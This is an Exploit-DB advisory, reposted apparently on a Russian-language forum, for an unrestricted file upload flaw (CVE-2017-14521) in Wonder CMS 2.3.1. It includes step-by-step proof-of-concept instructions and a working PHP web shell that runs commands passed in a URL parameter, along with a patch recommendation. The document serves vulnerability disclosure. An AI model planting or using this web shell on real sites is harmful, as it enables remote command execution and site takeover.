Exploit Wonder CMS 2.3.1 - Unrestricted File Upload

Exploiter

Хакер
34,644
0
18 Дек 2022
EDB-ID
43963
Проверка EDB
  1. Пройдено
Автор
SAMRAT DAS
Тип уязвимости
WEBAPPS
Платформа
PHP
CVE
cve-2017-14521
Дата публикации
2018-02-05
Wonder CMS 2.3.1 - Unrestricted File Upload
Код:
Affected Code:

public static function _uploadFile() { +
- if ( ! wCMS::$loggedIn && ! isset($_FILES['uploadFile']) && ! isset($_REQUEST['token'])) return; + private static function uploadFileAction()
- if (isset($_REQUEST['token']) && $_REQUEST['token'] == wCMS::_generateToken() && isset($_FILES['uploadFile'])) {


Proof of Concept
Steps to Reproduce:
 
1. Login with a valid credentials
2. Select Files option from the Settings menu of Content
3. Upload a file with php extension containing the below code:
 
           <?php
 
 $cmd=$_GET['cmd'];
 
 system($cmd);
 
 ?>
 
4. Click on Upload
5. Once the file is uploaded Click on the uploaded file and add ?cmd= to
the URL followed by a system command such as whoami,time,date etc.
Example:
http://localhost:8081/wondercms/files/shell.php?cmd=dir

Recommended Patch:

Create a whitelist of allowed filetypes.

The patch that addresses this bug is available here:

https://github.com/robiso/WonderCMS-testRepo/commit/8bd6cf9f3bf6a1d0123eb8b646584a63ee323c8a?diff=split

At line 742
 
Источник
www.exploit-db.com

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